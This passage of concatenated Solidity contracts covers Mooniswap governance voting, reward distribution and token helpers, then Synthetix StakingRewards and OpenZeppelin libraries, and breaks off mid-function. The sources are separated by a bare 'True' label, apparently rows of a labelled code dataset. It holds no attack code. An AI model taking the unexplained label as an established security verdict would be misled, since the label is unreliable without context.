_decayPeriod.updateBalance(account, _decayPeriod.votes[account], balance, newBalance, newTotalSupply, mooniswapFactoryGovernance.defaultDecayPeriod(), _emitDecayPeriodVoteUpdate);
_vote(_decayPeriod, mooniswap.decayPeriodVote, mooniswap.discardDecayPeriodVote);
}
function _vote(Voting.Data storage votingData, function(uint256) external vote, function() external discardVote) private {
if (votingData._weightedSum == 0) {
discardVote();
} else {
vote(votingData.result);
}
}
function _emitFeeVoteUpdate(address account, uint256 newFee, bool isDefault, uint256 newBalance) private {
emit FeeVoteUpdate(account, newFee, isDefault, newBalance);
}
function _emitSlippageFeeVoteUpdate(address account, uint256 newSlippageFee, bool isDefault, uint256 newBalance) private {
emit SlippageFeeVoteUpdate(account, newSlippageFee, isDefault, newBalance);
}
function _emitDecayPeriodVoteUpdate(address account, uint256 newDecayPeriod, bool isDefault, uint256 newBalance) private {
emit DecayPeriodVoteUpdate(account, newDecayPeriod, isDefault, newBalance);
}
function rescueFunds(IERC20 token, uint256 amount) external onlyOwner {
for (uint i = 0; i < tokenRewards.length; i++) {
require(token != tokenRewards[i].gift, "Can't rescue gift");
}
token.uniTransfer(msg.sender, amount);
if (token == mooniswap) {
require(token.uniBalanceOf(address(this)) == totalSupply(), "Can't withdraw staked tokens");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface IFeeCollector {
function updateReward(address receiver, uint256 amount) external;
function updateRewards(address[] calldata receivers, uint256[] calldata amounts) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface IMooniswapFactoryGovernance {
function shareParameters() external view returns(uint256 referralShare, uint256 governanceShare, address governanceWallet, address referralFeeReceiver);
function defaults() external view returns(uint256 defaultFee, uint256 defaultSlippageFee, uint256 defaultDecayPeriod);
function defaultFee() external view returns(uint256);
function defaultSlippageFee() external view returns(uint256);
function defaultDecayPeriod() external view returns(uint256);
function virtualDefaultFee() external view returns(uint104, uint104, uint48);
function virtualDefaultSlippageFee() external view returns(uint104, uint104, uint48);
function virtualDefaultDecayPeriod() external view returns(uint104, uint104, uint48);
function referralShare() external view returns(uint256);
function governanceShare() external view returns(uint256);
function governanceWallet() external view returns(address);
function feeCollector() external view returns(address);
function isFeeCollector(address) external view returns(bool);
function isActive() external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./SafeCast.sol";
import "./VirtualVote.sol";
import "./Vote.sol";
library LiquidVoting {
using SafeMath for uint256;
using SafeCast for uint256;
using Vote for Vote.Data;
using VirtualVote for VirtualVote.Data;
struct Data {
VirtualVote.Data data;
uint256 _weightedSum;
uint256 _defaultVotes;
mapping(address => Vote.Data) votes;
}
function updateVote(
LiquidVoting.Data storage self,
address user,
Vote.Data memory oldVote,
Vote.Data memory newVote,
uint256 balance,
uint256 totalSupply,
uint256 defaultVote,
function(address, uint256, bool, uint256) emitEvent
) internal {
return _update(self, user, oldVote, newVote, balance, balance, totalSupply, defaultVote, emitEvent);
}
function updateBalance(
LiquidVoting.Data storage self,
address user,
Vote.Data memory oldVote,
uint256 oldBalance,
uint256 newBalance,
uint256 newTotalSupply,
uint256 defaultVote,
function(address, uint256, bool, uint256) emitEvent
) internal {
return _update(self, user, oldVote, newBalance == 0 ? Vote.init() : oldVote, oldBalance, newBalance, newTotalSupply, defaultVote, emitEvent);
}
function _update(
LiquidVoting.Data storage self,
address user,
Vote.Data memory oldVote,
Vote.Data memory newVote,
uint256 oldBalance,
uint256 newBalance,
uint256 newTotalSupply,
uint256 defaultVote,
function(address, uint256, bool, uint256) emitEvent
) private {
uint256 oldWeightedSum = self._weightedSum;
uint256 newWeightedSum = oldWeightedSum;
uint256 oldDefaultVotes = self._defaultVotes;
uint256 newDefaultVotes = oldDefaultVotes;
if (oldVote.isDefault()) {
newDefaultVotes = newDefaultVotes.sub(oldBalance);
} else {
newWeightedSum = newWeightedSum.sub(oldBalance.mul(oldVote.get(defaultVote)));
}
if (newVote.isDefault()) {
newDefaultVotes = newDefaultVotes.add(newBalance);
} else {
newWeightedSum = newWeightedSum.add(newBalance.mul(newVote.get(defaultVote)));
}
if (newWeightedSum != oldWeightedSum) {
self._weightedSum = newWeightedSum;
}
if (newDefaultVotes != oldDefaultVotes) {
self._defaultVotes = newDefaultVotes;
}
{
uint256 newResult = newTotalSupply == 0 ? defaultVote : newWeightedSum.add(newDefaultVotes.mul(defaultVote)).div(newTotalSupply);
VirtualVote.Data memory data = self.data;
if (newResult != data.result) {
VirtualVote.Data storage sdata = self.data;
(sdata.oldResult, sdata.result, sdata.time) = (
data.current().toUint104(),
newResult.toUint104(),
block.timestamp.toUint48()
);
}
}
if (!newVote.eq(oldVote)) {
self.votes[user] = newVote;
}
emitEvent(user, newVote.get(defaultVote), newVote.isDefault(), newBalance);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
library MooniswapConstants {
uint256 internal constant _FEE_DENOMINATOR = 1e18;
uint256 internal constant _MIN_REFERRAL_SHARE = 0.05e18; // 5%
uint256 internal constant _MIN_DECAY_PERIOD = 1 minutes;
uint256 internal constant _MAX_FEE = 0.01e18; // 1%
uint256 internal constant _MAX_SLIPPAGE_FEE = 1e18; // 100%
uint256 internal constant _MAX_SHARE = 0.1e18; // 10%
uint256 internal constant _MAX_DECAY_PERIOD = 5 minutes;
uint256 internal constant _DEFAULT_FEE = 0;
uint256 internal constant _DEFAULT_SLIPPAGE_FEE = 1e18; // 100%
uint256 internal constant _DEFAULT_REFERRAL_SHARE = 0.1e18; // 10%
uint256 internal constant _DEFAULT_GOVERNANCE_SHARE = 0;
uint256 internal constant _DEFAULT_DECAY_PERIOD = 1 minutes;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
library SafeCast {
function toUint216(uint256 value) internal pure returns (uint216) {
require(value < 2**216, "value does not fit in 216 bits");
return uint216(value);
}
function toUint104(uint256 value) internal pure returns (uint104) {
require(value < 2**104, "value does not fit in 104 bits");
return uint104(value);
}
function toUint48(uint256 value) internal pure returns (uint48) {
require(value < 2**48, "value does not fit in 48 bits");
return uint48(value);
}
function toUint40(uint256 value) internal pure returns (uint40) {
require(value < 2**40, "value does not fit in 40 bits");
return uint40(value);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
library Sqrt {
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint256 y) internal pure returns (uint256) {
if (y > 3) {
uint256 z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
return z;
} else if (y != 0) {
return 1;
} else {
return 0;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
library UniERC20 {
using SafeMath for uint256;
using SafeERC20 for IERC20;
function isETH(IERC20 token) internal pure returns(bool) {
return (address(token) == address(0));
}
function uniBalanceOf(IERC20 token, address account) internal view returns (uint256) {
if (isETH(token)) {
return account.balance;
} else {
return token.balanceOf(account);
}
}
function uniTransfer(IERC20 token, address payable to, uint256 amount) internal {
if (amount > 0) {
if (isETH(token)) {
to.transfer(amount);
} else {
token.safeTransfer(to, amount);
}
}
}
function uniTransferFrom(IERC20 token, address payable from, address to, uint256 amount) internal {
if (amount > 0) {
if (isETH(token)) {
require(msg.value >= amount, "UniERC20: not enough value");
require(from == msg.sender, "from is not msg.sender");
require(to == address(this), "to is not this");
if (msg.value > amount) {
// Return remainder if exist
from.transfer(msg.value.sub(amount));
}
} else {
token.safeTransferFrom(from, to, amount);
}
}
}
function uniSymbol(IERC20 token) internal view returns(string memory) {
if (isETH(token)) {
return "ETH";
}
(bool success, bytes memory data) = address(token).staticcall{ gas: 20000 }(
abi.encodeWithSignature("symbol()")
);
if (!success) {
(success, data) = address(token).staticcall{ gas: 20000 }(
abi.encodeWithSignature("SYMBOL()")
);
}
if (success && data.length >= 96) {
(uint256 offset, uint256 len) = abi.decode(data, (uint256, uint256));
if (offset == 0x20 && len > 0 && len <= 256) {
return string(abi.decode(data, (bytes)));
}
}
if (success && data.length == 32) {
uint len = 0;
while (len < data.length && data[len] >= 0x20 && data[len] <= 0x7E) {
len++;
}
if (len > 0) {
bytes memory result = new bytes(len);
for (uint i = 0; i < len; i++) {
result[i] = data[i];
}
return string(result);
}
}
return _toHex(address(token));
}
function _toHex(address account) private pure returns(string memory) {
return _toHex(abi.encodePacked(account));
}
function _toHex(bytes memory data) private pure returns(string memory) {
bytes memory str = new bytes(2 + data.length * 2);
str[0] = "0";
str[1] = "x";
uint j = 2;
for (uint i = 0; i < data.length; i++) {
uint a = uint8(data[i]) >> 4;
uint b = uint8(data[i]) & 0x0f;
str[j++] = byte(uint8(a + 48 + (a/10)*39));
str[j++] = byte(uint8(b + 48 + (b/10)*39));
}
return string(str);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/math/Math.sol";
import "./SafeCast.sol";
library VirtualBalance {
using SafeMath for uint256;
using SafeCast for uint256;
struct Data {
uint216 balance;
uint40 time;
}
function set(VirtualBalance.Data storage self, uint256 balance) internal {
(self.balance, self.time) = (
balance.toUint216(),
block.timestamp.toUint40()
);
}
function update(VirtualBalance.Data storage self, uint256 decayPeriod, uint256 realBalance) internal {
set(self, current(self, decayPeriod, realBalance));
}
function scale(VirtualBalance.Data storage self, uint256 decayPeriod, uint256 realBalance, uint256 num, uint256 denom) internal {
set(self, current(self, decayPeriod, realBalance).mul(num).add(denom.sub(1)).div(denom));
}
function current(VirtualBalance.Data memory self, uint256 decayPeriod, uint256 realBalance) internal view returns(uint256) {
uint256 timePassed = Math.min(decayPeriod, block.timestamp.sub(self.time));
uint256 timeRemain = decayPeriod.sub(timePassed);
return uint256(self.balance).mul(timeRemain).add(
realBalance.mul(timePassed)
).div(decayPeriod);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
library VirtualVote {
using SafeMath for uint256;
uint256 private constant _VOTE_DECAY_PERIOD = 1 days;
struct Data {
uint104 oldResult;
uint104 result;
uint48 time;
}
function current(VirtualVote.Data memory self) internal view returns(uint256) {
uint256 timePassed = Math.min(_VOTE_DECAY_PERIOD, block.timestamp.sub(self.time));
uint256 timeRemain = _VOTE_DECAY_PERIOD.sub(timePassed);
return uint256(self.oldResult).mul(timeRemain).add(
uint256(self.result).mul(timePassed)
).div(_VOTE_DECAY_PERIOD);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
library Vote {
struct Data {
uint256 value;
}
function eq(Vote.Data memory self, Vote.Data memory vote) internal pure returns(bool) {
return self.value == vote.value;
}
function init() internal pure returns(Vote.Data memory data) {
return Vote.Data({
value: 0
});
}
function init(uint256 vote) internal pure returns(Vote.Data memory data) {
return Vote.Data({
value: vote + 1
});
}
function isDefault(Data memory self) internal pure returns(bool) {
return self.value == 0;
}
function get(Data memory self, uint256 defaultVote) internal pure returns(uint256) {
if (self.value > 0) {
return self.value - 1;
}
return defaultVote;
}
function get(Data memory self, function() external view returns(uint256) defaultVoteFn) internal view returns(uint256) {
if (self.value > 0) {
return self.value - 1;
}
return defaultVoteFn();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./Vote.sol";
library Voting {
using SafeMath for uint256;
using Vote for Vote.Data;
struct Data {
uint256 result;
uint256 _weightedSum;
uint256 _defaultVotes;
mapping(address => Vote.Data) votes;
}
function updateVote(
Voting.Data storage self,
address user,
Vote.Data memory oldVote,
Vote.Data memory newVote,
uint256 balance,
uint256 totalSupply,
uint256 defaultVote,
function(address, uint256, bool, uint256) emitEvent
) internal {
return _update(self, user, oldVote, newVote, balance, balance, totalSupply, defaultVote, emitEvent);
}
function updateBalance(
Voting.Data storage self,
address user,
Vote.Data memory oldVote,
uint256 oldBalance,
uint256 newBalance,
uint256 newTotalSupply,
uint256 defaultVote,
function(address, uint256, bool, uint256) emitEvent
) internal {
return _update(self, user, oldVote, newBalance == 0 ? Vote.init() : oldVote, oldBalance, newBalance, newTotalSupply, defaultVote, emitEvent);
}
function _update(
Voting.Data storage self,
address user,
Vote.Data memory oldVote,
Vote.Data memory newVote,
uint256 oldBalance,
uint256 newBalance,
uint256 newTotalSupply,
uint256 defaultVote,
function(address, uint256, bool, uint256) emitEvent
) private {
uint256 oldWeightedSum = self._weightedSum;
uint256 newWeightedSum = oldWeightedSum;
uint256 oldDefaultVotes = self._defaultVotes;
uint256 newDefaultVotes = oldDefaultVotes;
if (oldVote.isDefault()) {
newDefaultVotes = newDefaultVotes.sub(oldBalance);
} else {
newWeightedSum = newWeightedSum.sub(oldBalance.mul(oldVote.get(defaultVote)));
}
if (newVote.isDefault()) {
newDefaultVotes = newDefaultVotes.add(newBalance);
} else {
newWeightedSum = newWeightedSum.add(newBalance.mul(newVote.get(defaultVote)));
}
if (newWeightedSum != oldWeightedSum) {
self._weightedSum = newWeightedSum;
}
if (newDefaultVotes != oldDefaultVotes) {
self._defaultVotes = newDefaultVotes;
}
uint256 newResult = newTotalSupply == 0 ? defaultVote : newWeightedSum.add(newDefaultVotes.mul(defaultVote)).div(newTotalSupply);
if (newResult != self.result) {
self.result = newResult;
}
if (!newVote.eq(oldVote)) {
self.votes[user] = newVote;
}
emitEvent(user, newVote.get(defaultVote), newVote.isDefault(), newBalance);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
contract BalanceAccounting {
using SafeMath for uint256;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function _mint(address account, uint256 amount) internal virtual {
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint256 amount) internal virtual {
_balances[account] = _balances[account].sub(amount, "Burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _set(address account, uint256 amount) internal virtual returns(uint256 oldAmount) {
oldAmount = _balances[account];
if (oldAmount != amount) {
_balances[account] = amount;
_totalSupply = _totalSupply.add(amount).sub(oldAmount);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./BalanceAccounting.sol";
contract BaseRewards is Ownable, BalanceAccounting {
using SafeERC20 for IERC20;
event RewardAdded(uint256 indexed i, uint256 reward);
event RewardPaid(uint256 indexed i, address indexed user, uint256 reward);
event DurationUpdated(uint256 indexed i, uint256 duration);
event RewardDistributionChanged(uint256 indexed i, address rewardDistribution);
event NewGift(uint256 indexed i, IERC20 gift);
struct TokenRewards {
IERC20 gift;
uint256 duration;
address rewardDistribution;
uint256 periodFinish;
uint256 rewardRate;
uint256 lastUpdateTime;
uint256 rewardPerTokenStored;
mapping(address => uint256) userRewardPerTokenPaid;
mapping(address => uint256) rewards;
}
TokenRewards[] public tokenRewards;
modifier updateReward(address account) {
uint256 len = tokenRewards.length;
for (uint i = 0; i < len; i++) {
TokenRewards storage tr = tokenRewards[i];
tr.rewardPerTokenStored = rewardPerToken(i);
tr.lastUpdateTime = lastTimeRewardApplicable(i);
if (account != address(0)) {
tr.rewards[account] = earned(i, account);
tr.userRewardPerTokenPaid[account] = tr.rewardPerTokenStored;
}
}
_;
}
modifier onlyRewardDistribution(uint i) {
require(msg.sender == tokenRewards[i].rewardDistribution, "Access denied");
_;
}
function lastTimeRewardApplicable(uint i) public view returns (uint256) {
return Math.min(block.timestamp, tokenRewards[i].periodFinish);
}
function rewardPerToken(uint i) public view returns (uint256) {
TokenRewards storage tr = tokenRewards[i];
if (totalSupply() == 0) {
return tr.rewardPerTokenStored;
}
return tr.rewardPerTokenStored.add(
lastTimeRewardApplicable(i)
.sub(tr.lastUpdateTime)
.mul(tr.rewardRate)
.mul(1e18)
.div(totalSupply())
);
}
function earned(uint i, address account) public view returns (uint256) {
TokenRewards storage tr = tokenRewards[i];
return balanceOf(account)
.mul(rewardPerToken(i).sub(tr.userRewardPerTokenPaid[account]))
.div(1e18)
.add(tr.rewards[account]);
}
function getReward(uint i) public updateReward(msg.sender) {
TokenRewards storage tr = tokenRewards[i];
uint256 reward = tr.rewards[msg.sender];
if (reward > 0) {
tr.rewards[msg.sender] = 0;
tr.gift.safeTransfer(msg.sender, reward);
emit RewardPaid(i, msg.sender, reward);
}
}
function getAllRewards() public {
uint256 len = tokenRewards.length;
for (uint i = 0; i < len; i++) {
getReward(i);
}
}
function notifyRewardAmount(uint i, uint256 reward) external onlyRewardDistribution(i) updateReward(address(0)) {
require(reward < uint(-1).div(1e18), "Reward overlow");
TokenRewards storage tr = tokenRewards[i];
uint256 duration = tr.duration;
if (block.timestamp >= tr.periodFinish) {
require(reward >= duration, "Reward is too small");
tr.rewardRate = reward.div(duration);
} else {
uint256 remaining = tr.periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(tr.rewardRate);
require(reward.add(leftover) >= duration, "Reward is too small");
tr.rewardRate = reward.add(leftover).div(duration);
}
uint balance = tr.gift.balanceOf(address(this));
require(tr.rewardRate <= balance.div(duration), "Reward is too big");
tr.lastUpdateTime = block.timestamp;
tr.periodFinish = block.timestamp.add(duration);
emit RewardAdded(i, reward);
}
function setRewardDistribution(uint i, address _rewardDistribution) external onlyOwner {
TokenRewards storage tr = tokenRewards[i];
tr.rewardDistribution = _rewardDistribution;
emit RewardDistributionChanged(i, _rewardDistribution);
}
function setDuration(uint i, uint256 _duration) external onlyRewardDistribution(i) {
TokenRewards storage tr = tokenRewards[i];
require(block.timestamp >= tr.periodFinish, "Not finished yet");
tr.duration = _duration;
emit DurationUpdated(i, _duration);
}
function addGift(IERC20 gift, uint256 duration, address rewardDistribution) public onlyOwner {
uint256 len = tokenRewards.length;
for (uint i = 0; i < len; i++) {
require(gift != tokenRewards[i].gift, "Gift is already added");
}
TokenRewards storage tr = tokenRewards.push();
tr.gift = gift;
tr.duration = duration;
tr.rewardDistribution = rewardDistribution;
emit NewGift(len, gift);
emit DurationUpdated(len, duration);
emit RewardDistributionChanged(len, rewardDistribution);
}
}
|
True
|
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pragma solidity ^0.5.16;
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
// Inheritance
import "./interfaces/IStakingRewards.sol";
import "./RewardsDistributionRecipient.sol";
import "./Pausable.sol";
// https://docs.synthetix.io/contracts/source/contracts/stakingrewards
contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard, Pausable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
IERC20 public rewardsToken;
IERC20 public stakingToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public rewardsDuration = 7 days;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
/* ========== CONSTRUCTOR ========== */
constructor(
address _owner,
address _rewardsDistribution,
address _rewardsToken,
address _stakingToken,
uint256 _rewardsDuration
) public Owned(_owner) {
rewardsToken = IERC20(_rewardsToken);
stakingToken = IERC20(_stakingToken);
rewardsDistribution = _rewardsDistribution;
rewardsDuration = _rewardsDuration;
}
/* ========== VIEWS ========== */
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply)
);
}
function earned(address account) public view returns (uint256) {
return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
/* ========== MUTATIVE FUNCTIONS ========== */
function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function exit() external {
withdraw(_balances[msg.sender]);
getReward();
}
/* ========== RESTRICTED FUNCTIONS ========== */
function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) {
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(rewardsDuration);
}
// Ensure the provided reward amount is not more than the balance in the contract.
// This keeps the reward rate in the right range, preventing overflows due to
// very high values of rewardRate in the earned and rewardsPerToken functions;
// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
uint balance = rewardsToken.balanceOf(address(this));
require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high");
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(rewardsDuration);
emit RewardAdded(reward);
}
function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner {
require(
block.timestamp > periodFinish,
"Previous rewards period must be complete before changing the duration for the new period"
);
rewardsDuration = _rewardsDuration;
emit RewardsDurationUpdated(rewardsDuration);
}
/* ========== MODIFIERS ========== */
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
/* ========== EVENTS ========== */
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardsDurationUpdated(uint256 newDuration);
event Recovered(address token, uint256 amount);
}
pragma solidity ^0.5.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
pragma solidity ^0.5.0;
import "./IERC20.sol";
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* > Note that this information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* `IERC20.balanceOf` and `IERC20.transfer`.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
pragma solidity ^0.5.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
